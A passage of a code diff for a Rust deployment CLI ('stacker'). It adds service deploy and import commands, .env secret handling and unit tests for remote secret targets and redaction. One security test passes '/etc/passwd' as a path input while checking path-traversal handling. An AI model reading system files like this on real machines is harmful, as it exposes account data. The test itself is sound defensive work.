 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -417,11 +1459,84 @@ mod tests {
     use super::*;
     use tempfile::TempDir;
 
-    // ── Helper ────────────────────────────────────────
-    fn write_env(dir: &TempDir, name: &str, content: &str) -> PathBuf {
-        let path = dir.path().join(name);
-        std::fs::write(&path, content).unwrap();
-        path
+    fn project_app_info(id: i32, code: &str) -> ProjectAppInfo {
+        ProjectAppInfo {
+            id,
+            project_id: 7,
+            code: code.to_string(),
+            name: code.to_string(),
+            image: "nginx:stable".to_string(),
+            enabled: true,
+            deploy_order: None,
+            parent_app_code: None,
+        }
+    }
+
+    fn service_definition(name: &str) -> ServiceDefinition {
+        ServiceDefinition {
+            name: name.to_string(),
+            image: "optimum/syncopia-upload:latest".to_string(),
+            ports: vec!["8000:8000".to_string()],
+            environment: std::collections::HashMap::from([(
+                "RUST_LOG".to_string(),
+                "info".to_string(),
+            )]),
+            volumes: vec!["upload-data:/data".to_string()],
+            depends_on: vec!["postgres".to_string()],
+            command: None,
+            healthcheck: None,
+        }
+    }
+
+    #[test]
+    fn test_service_registration_request_maps_local_service() {
+        let service = service_definition("upload");
+        let request = service_registration_request(&service, Some("deployment_abc".to_string()));
+
+        assert_eq!(request.code, "upload");
+        assert_eq!(request.name.as_deref(), Some("upload"));
+        assert_eq!(request.image, "optimum/syncopia-upload:latest");
+        assert_eq!(request.enabled, Some(true));
+        assert_eq!(request.deployment_hash.as_deref(), Some("deployment_abc"));
+        assert_eq!(
+            request.env.unwrap(),
+            serde_json::json!({"RUST_LOG": "info"})
+        );
+        assert_eq!(request.ports.unwrap(), serde_json::json!(["8000:8000"]));
+        assert_eq!(
+            request.volumes.unwrap(),
+            serde_json::json!(["upload-data:/data"])
+        );
+        assert_eq!(request.depends_on.unwrap(), serde_json::json!(["postgres"]));
+    }
+
+    #[test]
+    fn test_find_local_service_matches_case_insensitively() {
+        let config = StackerConfig {
+            name: "syncopia".to_string(),
+            version: None,
+            organization: None,
+            project: Default::default(),
+            app: Default::default(),
+            services: vec![service_definition("upload")],
+            proxy: Default::default(),
+            deploy: Default::default(),
+            install: Default::default(),
+            environments: Default::default(),
+            ai: Default::default(),
+            monitoring: Default::default(),
+            hooks: Default::default(),
+            env_file: None,
+            env: Default::default(),
+            config_contract: Default::default(),
+            origin: Default::default(),
+            app_present: false,
+        };
+
+        assert_eq!(
+            find_local_service(&config, "UPLOAD").map(|service| service.name.as_str()),
+            Some("upload")
+        );
     }
 
     // ── SECURITY: Path traversal via --file flag ──────
@@ -440,7 +1555,10 @@ mod tests {
     #[test]
     fn test_resolve_env_path_allows_absolute_path_without_traversal() {
         let result = resolve_env_path(Some("/etc/passwd"));
-        assert!(result.is_ok(), "Absolute paths without traversal are allowed");
+        assert!(
+            result.is_ok(),
+            "Absolute paths without traversal are allowed"
+        );
     }
 
     #[test]
@@ -469,7 +1587,10 @@ mod tests {
 
         let perms = std::fs::metadata(&env_path).unwrap().permissions();
         let mode = perms.mode() & 0o777;
-        assert_eq!(mode, 0o600, "Env file containing secrets must have 0o600 permissions");
+        assert_eq!(
+            mode, 0o600,
+            "Env file containing secrets must have 0o600 permissions"
+        );
     }
 
     // ── SECURITY: Key validation ──────────────────────
@@ -657,4 +1778,271 @@ mod tests {
         let result = cmd.call();
         assert!(result.is_err());
     }
+
+    #[test]
+    fn test_remote_service_target_allows_project_to_be_resolved_later() {
+        let target = RemoteSecretTarget::new(
+            RemoteSecretScope::Service,
+            None,
+            Some("web".to_string()),
+            None,
+        );
+
+        target.validate().unwrap();
+    }
+
+    #[test]
+    fn test_remote_service_target_requires_service() {
+        let target = RemoteSecretTarget::new(
+            RemoteSecretScope::Service,
+            Some("project-1".to_string()),
+            None,
+            None,
+        );
+
+        let error = target.validate().unwrap_err().to_string();
+        assert!(error.contains("--service"));
+    }
+
+    #[test]
+    fn test_remote_server_target_rejects_project_and_service() {
+        let target = RemoteSecretTarget::new(
+            RemoteSecretScope::Server,
+            Some("project-1".to_string()),
+            Some("web".to_string()),
+            Some(42),
+        );
+
+        let error = target.validate().unwrap_err().to_string();
+        assert!(error.contains("--project or --service"));
+    }
+
+    #[test]
+    fn test_remote_server_target_allows_missing_server_id() {
+        // server_id may be omitted at parse time; it is resolved from the
+        // lock file at execution time via server_id_from_lock().
+        let target = RemoteSecretTarget::new(RemoteSecretScope::Server, None, None, None);
+        assert!(target.validate().is_ok());
+    }
+
+    #[test]
+    fn test_remote_set_debug_redacts_inline_secret_value() {
+        let options = RemoteSecretWriteOptions {
+            name: "NPM_TOKEN".to_string(),
+            target: RemoteSecretTarget::new(RemoteSecretScope::Server, None, None, Some(42)),
+            body: Some("supersecret".to_string()),
+            body_file: None,
+        };
+
+        let debug_output = format!("{options:?}");
+        assert!(!debug_output.contains("supersecret"));
+        assert!(debug_output.contains("[REDACTED]"));
+    }
+
+    #[test]
+    fn test_remote_set_resolves_inline_secret_value() {
+        let options = RemoteSecretWriteOptions {
+            name: "NPM_TOKEN".to_string(),
+            target: RemoteSecretTarget::new(RemoteSecretScope::Server, None, None, Some(42)),
+            body: Some("supersecret".to_string()),
+            body_file: None,
+        };
+
+        assert_eq!(
+            resolve_remote_secret_value(&options).unwrap(),
+            "supersecret"
+        );
+    }
+
+    #[test]
+    fn test_remote_set_validates_scope_before_runtime_execution() {
+        let options = RemoteSecretWriteOptions {
+            name: "NPM_TOKEN".to_string(),
+            target: RemoteSecretTarget::new(
+                RemoteSecretScope::Server,
+                Some("project-1".to_string()),
+                None,
+                Some(42),
+            ),
+            body: Some("supersecret".to_string()),
+            body_file: None,
+        };
+
+        let error = options.validate().unwrap_err().to_string();
+        assert!(error.contains("--project or --service"));
+    }
+
+    #[test]
+    fn test_remote_command_constructor_keeps_scope_metadata() {
+        let command = SecretsSetCommand::new_remote(
+            "NPM_TOKEN".to_string(),
+            RemoteSecretScope::Server,
+            None,
+            None,
+            Some(42),
+            Some("supersecret".to_string()),
+            None,
+        );
+
+        match command.mode {
+            SecretsSetMode::Remote(options) => {
+                assert_eq!(options.target.scope, RemoteSecretScope::Server);
+                assert_eq!(options.target.server_id, Some(42));
+            }
+            SecretsSetMode::Local { .. } => panic!("expected remote command mode"),
+        }
+    }
+
+    #[test]
+    fn test_remote_secret_error_remaps_deploy_failed_context() {
+        let error = remap_remote_secret_error(
+            "remote secrets list",
+            CliError::DeployFailed {
+                target: crate::cli::config_parser::DeployTarget::Cloud,
+                reason: "Stacker server GET /project/1/apps/web/secrets failed (403):".to_string(),
+            },
+        );
+
+        let rendered = error.to_string();
+        assert!(rendered.contains("remote secrets list failed"));
+        assert!(!rendered.contains("Deployment to cloud failed"));
+    }
+
+    #[test]
+    fn test_project_app_codes_extracts_declared_web_codes() {
+        let project = ProjectInfo {
+            id: 7,
+            name: "syncopia".to_string(),
+            user_id: "user-1".to_string(),
+            metadata: serde_json::json!({
+                "custom": {
+                    "web": [
+                        {"code": "app"},
+                        {"code": "device-apis"},
+                        {"code": "upload"}
+                    ]
+                }
+            }),
+            created_at: "2026-01-01T00:00:00Z".to_string(),
+            updated_at: "2026-01-01T00:00:00Z".to_string(),
+        };
+
+        assert_eq!(
+            project_app_codes(&project),
+            vec![
+                "app".to_string(),
+                "device-apis".to_string(),
+                "upload".to_string()
+            ]
+        );
+    }
+
+    #[test]
+    fn test_resolve_remote_service_code_matches_case_insensitively() {
+        let apps = vec![project_app_info(1, "device-apis")];
+
+        assert_eq!(
+            resolve_remote_service_code_from_apps("syncopia", &apps, "Device-APIs").unwrap(),
+            "device-apis"
+        );
+    }
+
+    #[test]
+    fn test_resolve_remote_service_code_reports_available_codes() {
+        let apps = vec![
+            project_app_info(1, "app"),
+            project_app_info(2, "device-apis"),
+        ];
+
+        let error = resolve_remote_service_code_from_apps("syncopia", &apps, "device-api")
+            .unwrap_err()
+            .to_string();
+        assert!(error.contains("Available targets: app, device-apis"));
+    }
+
+    #[test]
+    fn test_scn_001_remote_target_resolution_accepts_registered_service_code() {
+        let apps = vec![project_app_info(2, "upload")];
+
+        let resolved = resolve_remote_service_code_from_apps("syncopia", &apps, "UPLOAD").unwrap();
+
+        assert_eq!(resolved, "upload");
+    }
+
+    #[test]
+    fn test_scn_007_unknown_remote_target_error_lists_available_targets() {
+        let apps = vec![
+            project_app_info(1, "device-api"),
+            project_app_info(2, "upload"),
+        ];
+
+        let error = resolve_remote_service_code_from_apps("syncopia", &apps, "media")
+            .unwrap_err()
+            .to_string();
+
+        assert!(error.contains("Unknown remote secret target 'media'"));
+        assert!(error.contains("Available targets: device-api, upload"));
+        assert!(error.contains("stacker deploy --target"));
+    }
+
+    #[test]
+    fn test_print_project_app_list_renders_empty_state() {
+        print_project_app_list(&[], false).unwrap();
+    }
+
+    #[test]
+    fn test_resolve_service_project_reference_prefers_explicit_flag() {
+        assert_eq!(
+            resolve_service_project_reference(Some("syncopia")).unwrap(),
+            "syncopia"
+        );
+    }
+
+    #[test]
+    fn test_resolve_service_project_reference_uses_stacker_yml_project_identity() {
+        let dir = TempDir::new().unwrap();
+        let config_path = dir.path().join("stacker.yml");
+        std::fs::write(
+            &config_path,
+            r#"
+name: syncopia
+project:
+  identity: remote-syncopia
+app:
+  type: custom
+  path: .
+deploy:
+  target: local
+"#,
+        )
+        .unwrap();
+
+        assert_eq!(
+            resolve_service_project_reference_with_config(None, &config_path).unwrap(),
+            "remote-syncopia"
+        );
+    }
+
+    #[test]
+    fn test_resolve_service_project_reference_errors_without_flag_or_config_identity() {
+        let dir = TempDir::new().unwrap();
+        let config_path = dir.path().join("stacker.yml");
+        std::fs::write(
+            &config_path,
+            r#"
+name: syncopia
+app:
+  type: custom
+  path: .
+deploy:
+  target: local
+"#,
+        )
+        .unwrap();
+
+        let error = resolve_service_project_reference_with_config(None, &config_path)
+            .unwrap_err()
+            .to_string();
+        assert!(error.contains("project.identity"));
+    }
 }
diff --git a/src/console/commands/cli/service.rs b/src/console/commands/cli/service.rs
index 36679c9d..1dcb5407 100644
--- a/src/console/commands/cli/service.rs
+++ b/src/console/commands/cli/service.rs
@@ -6,15 +6,23 @@
 //!
 //! `stacker service list [--online]` shows available service templates.
 
-use std::path::Path;
+use std::path::{Path, PathBuf};
 
-use crate::cli::config_parser::{StackerConfig, ServiceDefinition};
+use crate::cli::compose_service_sync::{
+    sync_configured_compose_services, ComposeServiceSyncResult,
+};
+use crate::cli::config_parser::{ServiceDefinition, StackerConfig};
 use crate::cli::credentials::CredentialsManager;
 use crate::cli::error::CliError;
-use crate::cli::service_catalog::ServiceCatalog;
+use crate::cli::service_catalog::{catalog_inputs, CatalogInput, InputDefault, ServiceCatalog};
+use crate::cli::service_import::{
+    import_plan_from_compose_file, parse_renames, ComposeImportRequest, ServiceImportPlan,
+    ServiceImportReview,
+};
 use crate::cli::stacker_client::{self, StackerClient};
 use crate::console::commands::CallableTrait;
-use dialoguer::{Confirm, FuzzySelect};
+use dialoguer::{Confirm, FuzzySelect, Input, Password};
+use serde::Serialize;
 
 const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
 
@@ -93,12 +101,15 @@ impl CallableTrait for ServiceAddCommand {
         let rt = tokio::runtime::Builder::new_current_thread()
             .enable_all()
             .build()
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
+            .map_err(|e| {
+                CliError::ConfigValidation(format!("Failed to create async runtime: {}", e))
+            })?;
 
         let entry = rt.block_on(catalog.resolve(&canonical))?;
 
-        // Check if the service has dependencies that are missing
-        let mut services_to_add: Vec<ServiceDefinition> = Vec::new();
+        // Add missing dependencies first, then the requested service, tracking
+        // the canonical codes so we can resolve their configurable inputs.
+        let mut added_codes: Vec<String> = Vec::new();
         for dep in &entry.service.depends_on {
             if !config.services.iter().any(|s| &s.name == dep) {
                 // Try to resolve the dependency too
@@ -107,25 +118,41 @@ impl CallableTrait for ServiceAddCommand {
                         "  + Adding dependency: {} ({})",
                         dep_entry.name, dep_entry.service.image
                     );
-                    services_to_add.push(dep_entry.service);
+                    config.services.push(dep_entry.service);
+                    added_codes.push(dep_entry.code);
                 }
             }
         }
+        config.services.push(entry.service.clone());
+        added_codes.push(entry.code.clone());
 
-        // Add dependencies first, then the requested service
-        for dep_svc in services_to_add {
-            config.services.push(dep_svc);
+        // Resolve configurable inputs (passwords, etc.) for the added services
+        // and persist them to `.env`. The service definitions reference `${KEY}`,
+        // so secrets never land in stacker.yml. Existing `.env` keys are only
+        // overwritten with the user's permission.
+        let inputs: Vec<CatalogInput> = added_codes
+            .iter()
+            .flat_map(|code| catalog_inputs(code))
+            .collect();
+        if !inputs.is_empty() {
+            let env_path = project_dir_for_config(path).join(".env");
+            apply_service_inputs(&env_path, &inputs)?;
         }
-        config.services.push(entry.service.clone());
 
         // Serialize back to YAML
-        let yaml = serde_yaml::to_string(&config)
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?;
+        let yaml = serde_yaml::to_string(&config).map_err(|e| {
+            CliError::ConfigValidation(format!("Failed to serialize config: {}", e))
+        })?;
 
         // Backup and write
         let backup_path = format!("{}.bak", config_path);
         std::fs::copy(config_path, &backup_path)?;
         std::fs::write(config_path, &yaml)?;
+        let compose_sync = sync_configured_compose_services(
+            &project_dir_for_config(path),
+            &config,
+            std::slice::from_ref(&entry.service.name),
+        )?;
 
         println!("✓ Added '{}' to {}", entry.name, config_path);
         println!("  Image:  {}", entry.service.image);
@@ -136,11 +163,21 @@ impl CallableTrait for ServiceAddCommand {
             println!("  Volumes: {}", entry.service.volumes.join(", "));
         }
         if !entry.service.environment.is_empty() {
-            println!("  Env vars: {}", entry.service.environment.keys()
-                .cloned().collect::<Vec<_>>().join(", "));
+            println!(
+                "  Env vars: {}",
+                entry
+                    .service
+                    .environment
+                    .keys()
+                    .cloned()
+                    .collect::<Vec<_>>()
+                    .join(", ")
+            );
         }
         if !entry.related.is_empty() {
-            let missing_related: Vec<&str> = entry.related.iter()
+            let missing_related: Vec<&str> = entry
+                .related
+                .iter()
                 .filter(|r| !config.services.iter().any(|s| &s.name == *r))
                 .map(|r| r.as_str())
                 .collect();
@@ -154,6 +191,281 @@ impl CallableTrait for ServiceAddCommand {
         }
 
         eprintln!("  Backup saved to {}", backup_path);
+        print_compose_sync_result(&compose_sync);
+
+        Ok(())
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// service deploy
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// `stacker service deploy <name> [--deployment <hash>]`
+///
+/// Validates that the named service exists in `stacker.yml`, then delegates to
+/// the lower-level agent app deployment command using the service name as the
+/// remote app code.
+pub struct ServiceDeployCommand {
+    pub name: String,
+    pub force: bool,
+    pub runtime: String,
+    pub json: bool,
+    pub deployment: Option<String>,
+    pub environment: Option<String>,
+    pub plan: bool,
+    pub apply_plan: Option<String>,
+}
+
+impl ServiceDeployCommand {
+    #[allow(clippy::too_many_arguments)]
+    pub fn new(
+        name: String,
+        force: bool,
+        runtime: String,
+        json: bool,
+        deployment: Option<String>,
+        environment: Option<String>,
+        plan: bool,
+        apply_plan: Option<String>,
+    ) -> Self {
+        Self {
+            name,
+            force,
+            runtime,
+            json,
+            deployment,
+            environment,
+            plan,
+            apply_plan,
+        }
+    }
+}
+
+impl CallableTrait for ServiceDeployCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let config_path = DEFAULT_CONFIG_FILE;
+        let path = Path::new(config_path);
+
+        if !path.exists() {
+            return Err(Box::new(CliError::ConfigNotFound {
+                path: path.to_path_buf(),
+            }));
+        }
+
+        let config = StackerConfig::from_file_raw(path)?;
+        if !config
+            .services
+            .iter()
+            .any(|service| service.name == self.name)
+        {
+            return Err(Box::new(CliError::ConfigValidation(format!(
+                "Service '{}' was not found in {}. Add or import it first, then run `stacker service deploy {}`.",
+                self.name, config_path, self.name
+            ))));
+        }
+
+        let compose_sync = sync_configured_compose_services(
+            &project_dir_for_config(path),
+            &config,
+            std::slice::from_ref(&self.name),
+        )?;
+        print_compose_sync_result(&compose_sync);
+
+        let environment = self.environment.clone().or_else(|| {
+            if config.selected_environment(None).is_none() && config.deploy.compose_file.is_some() {
+                eprintln!(
+                    "  No deploy environment configured; using 'production' to build the service compose payload."
+                );
+                Some("production".to_string())
+            } else {
+                None
+            }
+        });
+
+        let command = crate::console::commands::cli::agent::AgentDeployAppCommand::new(
+            self.name.clone(),
+            None,
+            self.force,
+            self.runtime.clone(),
+            self.json,
+            self.deployment.clone(),
+            environment,
+        )
+        .with_plan(self.plan)
+        .with_apply_plan(self.apply_plan.clone());
+
+        command.call()
+    }
+}
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// service import
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+/// `stacker service import <name> --from-compose <path> [--service <compose-service>]`
+///
+/// Parses a local Docker Compose file, prints a safety review, and appends
+/// selected image-backed services to `stacker.yml` only after confirmation.
+pub struct ServiceImportCommand {
+    pub name: String,
+    pub from_compose: Option<PathBuf>,
+    pub from_github: Option<String>,
+    pub from_url: Option<String>,
+    pub service: Option<String>,
+    pub renames: Vec<String>,
+    pub file: Option<String>,
+    pub review: bool,
+    pub yes: bool,
+    pub json: bool,
+}
+
+impl ServiceImportCommand {
+    #[allow(clippy::too_many_arguments)]
+    pub fn new(
+        name: String,
+        from_compose: Option<PathBuf>,
+        from_github: Option<String>,
+        from_url: Option<String>,
+        service: Option<String>,
+        renames: Vec<String>,
+        file: Option<String>,
+        review: bool,
+        yes: bool,
+        json: bool,
+    ) -> Self {
+        Self {
+            name,
+            from_compose,
+            from_github,
+            from_url,
+            service,
+            renames,
+            file,
+            review,
+            yes,
+            json,
+        }
+    }
+}
+
+impl CallableTrait for ServiceImportCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let config_path = self.file.as_deref().unwrap_or(DEFAULT_CONFIG_FILE);
+        let path = Path::new(config_path);
+
+        if self.from_github.is_some() || self.from_url.is_some() {
+            return Err(Box::new(CliError::ConfigValidation(
+                "Remote custom service import is planned but not implemented yet. Download or inspect the Compose file yourself, then run `stacker service import <name> --from-compose <path> --review`."
+                    .to_string(),
+            )));
+        }
+
+        let compose_path = self.from_compose.as_ref().ok_or_else(|| {
+            CliError::ConfigValidation(
+                "Specify a local Compose file with --from-compose <path>. Remote GitHub/URL import is not fetched by default."
+                    .to_string(),
+            )
+        })?;
+
+        if !path.exists() {
+            return Err(Box::new(CliError::ConfigNotFound {
+                path: path.to_path_buf(),
+            }));
+        }
+
+        let renames = parse_renames(&self.renames)?;
+        let request = ComposeImportRequest {
+            import_name: self.name.clone(),
+            selected_service: self.service.clone(),
+            renames,
+        };
+        let plan = import_plan_from_compose_file(compose_path, &request)?;
+        let config = StackerConfig::from_file_raw(path)?;
+        validate_no_duplicate_services(&config, &plan)?;
+
+        if self.json && self.review {
+            let output = ServiceImportCommandOutput {
+                status: "review",
+                config_file: config_path.to_string(),
+                backup_file: None,
+                review: &plan.review,
+                imported_services: plan
+                    .services
+                    .iter()
+                    .map(|service| service.name.clone())
+                    .collect(),
+            };
+            println!("{}", serde_json::to_string_pretty(&output)?);
+        } else if !self.json {
+            print_import_plan(&plan);
+        }
+
+        if self.review {
+            return Ok(());
+        }
+
+        if !self.yes {
+            let confirmed = Confirm::new()
+                .with_prompt(format!(
+                    "Import {} service(s) into {}?",
+                    plan.services.len(),
+                    config_path
+                ))
+                .default(false)
+                .interact()
+                .map_err(|e| {
+                    CliError::ConfigValidation(format!(
+                        "Prompt failed: {e}. Re-run with --review to inspect only, or --yes to import non-interactively."
+                    ))
+                })?;
+
+            if !confirmed {
+                println!("Aborted.");
+                return Ok(());
+            }
+        }
+
+        let backup_path = import_services_into_config(path, config, &plan)?;
+        let updated_config = StackerConfig::from_file_raw(path)?;
+        let imported_service_names: Vec<String> = plan
+            .services
+            .iter()
+            .map(|service| service.name.clone())
+            .collect();
+        let compose_sync = sync_configured_compose_services(
+            &project_dir_for_config(path),
+            &updated_config,
+            &imported_service_names,
+        )?;
+
+        if self.json {
+            let output = ServiceImportCommandOutput {
+                status: "imported",
+                config_file: config_path.to_string(),
+                backup_file: Some(backup_path.clone()),
+                review: &plan.review,
+                imported_services: updated_config
+                    .services
+                    .iter()
+                    .filter(|service| {
+                        plan.services
+                            .iter()
+                            .any(|imported| imported.name == service.name)
+                    })
+                    .map(|service| service.name.clone())
+                    .collect(),
+            };
+            println!("{}", serde_json::to_string_pretty(&output)?);
+        } else {
+            println!(
+                "✓ Imported {} service(s) into {}",
+                plan.services.len(),
+                config_path
+            );
+            eprintln!("  Backup saved to {}", backup_path);
+            print_compose_sync_result(&compose_sync);
+        }
 
         Ok(())
     }
@@ -183,7 +495,8 @@ impl CallableTrait for ServiceListCommand {
         let entries = catalog.list_available();
 
         // Group by category
-        let mut by_category: std::collections::BTreeMap<String, Vec<_>> = std::collections::BTreeMap::new();
+        let mut by_category: std::collections::BTreeMap<String, Vec<_>> =
+            std::collections::BTreeMap::new();
         for entry in &entries {
             by_category
                 .entry(entry.category.clone())
@@ -206,7 +519,7 @@ impl CallableTrait for ServiceListCommand {
         }
 
         println!("Usage: stacker service add <name>");
-        println!("Aliases: wp, pg, my, mongo, es, mq, pma, mh");
+        println!("Aliases: wp, pg, my, mongo, es, mq, pma, smtp, mail, mh");
 
         if self.online {
             eprintln!();
@@ -216,7 +529,12 @@ impl CallableTrait for ServiceListCommand {
                     let rt = tokio::runtime::Builder::new_current_thread()
                         .enable_all()
                         .build()
-                        .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
+                        .map_err(|e| {
+                            CliError::ConfigValidation(format!(
+                                "Failed to create async runtime: {}",
+                                e
+                            ))
+                        })?;
 
                     match rt.block_on(client.list_marketplace_templates(None, None)) {
                         Ok(templates) if templates.is_empty() => {
@@ -285,10 +603,7 @@ impl CallableTrait for ServiceRemoveCommand {
         }
 
         let confirmed = Confirm::new()
-            .with_prompt(format!(
-                "Remove '{}' from {}?",
-                canonical, config_path
-            ))
+            .with_prompt(format!("Remove '{}' from {}?", canonical, config_path))
             .default(false)
             .interact()
             .map_err(|e| CliError::ConfigValidation(format!("Prompt error: {}", e)))?;
@@ -300,8 +615,9 @@ impl CallableTrait for ServiceRemoveCommand {
 
         config.services.retain(|s| s.name != canonical);
 
-        let yaml = serde_yaml::to_string(&config)
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?;
+        let yaml = serde_yaml::to_string(&config).map_err(|e| {
+            CliError::ConfigValidation(format!("Failed to serialize config: {}", e))
+        })?;
 
         let backup_path = format!("{}.bak", config_path);
         std::fs::copy(config_path, &backup_path)?;
@@ -316,6 +632,267 @@ impl CallableTrait for ServiceRemoveCommand {
 
 // ── Helpers ──────────────────────────────────────────
 
+#[derive(Serialize)]
+struct ServiceImportCommandOutput<'a> {
+    status: &'static str,
+    config_file: String,
+    backup_file: Option<String>,
+    review: &'a ServiceImportReview,
+    imported_services: Vec<String>,
+}
+
+fn validate_no_duplicate_services(
+    config: &StackerConfig,
+    plan: &ServiceImportPlan,
+) -> Result<(), CliError> {
+    for imported in &plan.services {
+        if config.services.iter().any(|svc| svc.name == imported.name) {
+            return Err(CliError::ConfigValidation(format!(
+                "Service '{}' already exists in stacker.yml. Use --rename old=new or choose a different import name.",
+                imported.name
+            )));
+        }
+    }
+    Ok(())
+}
+
+fn import_services_into_config(
+    path: &Path,
+    mut config: StackerConfig,
+    plan: &ServiceImportPlan,
+) -> Result<String, Box<dyn std::error::Error>> {
+    for service in &plan.services {
+        config.services.push(service.clone());
+    }
+
+    let yaml = serde_yaml::to_string(&config)
+        .map_err(|e| CliError::ConfigValidation(format!("Failed to serialize config: {}", e)))?;
+
+    let config_path = path.to_string_lossy().to_string();
+    let backup_path = format!("{}.bak", config_path);
+    std::fs::copy(path, &backup_path)?;
+    std::fs::write(path, &yaml)?;
+    Ok(backup_path)
+}
+
+fn print_import_plan(plan: &ServiceImportPlan) {
+    let review = &plan.review;
+    println!("Custom service import review: {}", review.import_name);
+    println!();
+
+    for service in &review.services {
+        println!("  Service: {} (from {})", service.name, service.source_name);
+        println!("    Image: {}", service.image);
+        if !service.ports.is_empty() {
+            println!("    Ports: {}", service.ports.join(", "));
+        }
+        if !service.environment_keys.is_empty() {
+            println!("    Env keys: {}", service.environment_keys.join(", "));
+        }
+        if !service.volumes.is_empty() {
+            println!("    Volumes: {}", service.volumes.join(", "));
+        }
+        if !service.depends_on.is_empty() {
+            println!("    Depends on: {}", service.depends_on.join(", "));
+        }
+        if !service.unsupported_fields.is_empty() {
+            println!(
+                "    Unsupported Compose fields: {}",
+                service.unsupported_fields.join(", ")
+            );
+        }
+    }
+
+    if !review.risks.is_empty() {
+        println!();
+        println!("  Risks to review:");
+        for risk in &review.risks {
+            println!("    - [{}] {}: {}", risk.service, risk.kind, risk.detail);
+        }
+    }
+
+    if !review.guidance.is_empty() {
+        println!();
+        println!("  Guidance:");
+        for item in &review.guidance {
+            println!("    - {}", item);
+        }
+    }
+
+    if let Ok(yaml) = serde_yaml::to_string(&plan.services) {
+        println!();
+        println!("  stacker.yml services to append:");
+        for line in yaml.lines() {
+            println!("    {}", line);
+        }
+    }
+}
+
+fn project_dir_for_config(path: &Path) -> PathBuf {
+    path.parent()
+        .filter(|parent| !parent.as_os_str().is_empty())
+        .map(Path::to_path_buf)
+        .unwrap_or_else(|| PathBuf::from("."))
+}
+
+/// Read the top-level keys already defined in a `.env` file (ignoring comments
+/// and blanks). Returns an empty set if the file doesn't exist.
+fn env_file_keys(env_path: &Path) -> std::collections::HashSet<String> {
+    std::fs::read_to_string(env_path)
+        .unwrap_or_default()
+        .lines()
+        .filter_map(|line| {
+            let line = line.trim();
+            if line.is_empty() || line.starts_with('#') {
+                return None;
+            }
+            line.split_once('=').map(|(key, _)| key.trim().to_string())
+        })
+        .collect()
+}
+
+/// Generate a random 32-char alphanumeric secret (no shell-special chars).
+fn generate_secret() -> String {
+    use rand::{distributions::Alphanumeric, Rng};
+    rand::thread_rng()
+        .sample_iter(&Alphanumeric)
+        .take(32)
+        .map(char::from)
+        .collect()
+}
+
+/// Resolve a single catalog input to a value (generate / prompt / default).
+fn resolve_input_value(input: &CatalogInput, interactive: bool) -> Result<String, CliError> {
+    let prompt_err = |e| CliError::ConfigValidation(format!("Prompt failed: {e}"));
+    match &input.default {
+        InputDefault::GeneratedSecret => Ok(generate_secret()),
+        InputDefault::Literal(default) if interactive => Input::new()
+            .with_prompt(&input.prompt)
+            .default(default.clone())
+            .interact_text()
+            .map_err(prompt_err),
+        InputDefault::Literal(default) => Ok(default.clone()),
+        InputDefault::Required if !interactive => Err(CliError::ConfigValidation(format!(
+            "Input '{}' is required; re-run interactively to provide it.",
+            input.key
+        ))),
+        InputDefault::Required if input.secret => Password::new()
+            .with_prompt(&input.prompt)
+            .interact()
+            .map_err(prompt_err),
+        InputDefault::Required => Input::new()
+            .with_prompt(&input.prompt)
+            .interact_text()
+            .map_err(prompt_err),
+    }
+}
+
+/// Resolve catalog inputs and persist them to `.env`, referenced as `${KEY}` in
+/// the service definitions. Keys already present in `.env` are only overwritten
+/// after the user confirms (never in a non-interactive session).
+fn apply_service_inputs(env_path: &Path, inputs: &[CatalogInput]) -> Result<(), CliError> {
+    use std::io::IsTerminal;
+    let interactive = std::io::stdin().is_terminal();
+    let existing_keys = env_file_keys(env_path);
+
+    let conflicting: Vec<&str> = inputs
+        .iter()
+        .map(|input| input.key.as_str())
+        .filter(|key| existing_keys.contains(*key))
+        .collect();
+
+    let overwrite = if conflicting.is_empty() {
+        true
+    } else if !interactive {
+        eprintln!(
+            "  ℹ {} already set in {} — keeping existing value(s) (re-run interactively to overwrite).",
+            conflicting.join(", "),
+            env_path.display()
+        );
+        false
+    } else {
+        Confirm::new()
+            .with_prompt(format!(
+                "{} already set in {}. Overwrite?",
+                conflicting.join(", "),
+                env_path.display()
+            ))
+            .default(false)
+            .interact()
+            .map_err(|e| CliError::ConfigValidation(format!("Prompt failed: {e}")))?
+    };
+
+    let mut updates: Vec<(String, String)> = Vec::new();
+    for input in inputs {
+        if existing_keys.contains(&input.key) && !overwrite {
+            eprintln!("  = {} (kept existing)", input.key);
+            continue;
+        }
+        updates.push((input.key.clone(), resolve_input_value(input, interactive)?));
+    }
+
+    if updates.is_empty() {
+        return Ok(());
+    }
+    write_env_updates(env_path, &updates)?;
+    for (key, _) in &updates {
+        eprintln!("  ✓ {} → {}", key, env_path.display());
+    }
+    Ok(())
+}
+
+/// Upsert `KEY=value` lines into `.env`, preserving all unrelated lines. Creates
+/// the file if missing.
+fn write_env_updates(env_path: &Path, updates: &[(String, String)]) -> Result<(), CliError> {
+    let existing = std::fs::read_to_string(env_path).unwrap_or_default();
+    let update_map: std::collections::HashMap<&str, &str> = updates
+        .iter()
+        .map(|(k, v)| (k.as_str(), v.as_str()))
+        .collect();
+    let mut written: std::collections::HashSet<&str> = std::collections::HashSet::new();
+    let mut out_lines: Vec<String> = Vec::new();
+
+    for line in existing.lines() {
+        if let Some((key, _)) = line.trim_start().split_once('=') {
+            let key = key.trim();
+            if let Some(value) = update_map.get(key) {
+                out_lines.push(format!("{}={}", key, value));
+                written.insert(key);
+                continue;
+            }
+        }
+        out_lines.push(line.to_string());
+    }
+    for (key, value) in updates {
+        if !written.contains(key.as_str()) {
+            out_lines.push(format!("{}={}", key, value));
+        }
+    }
+
+    let mut content = out_lines.join("\n");
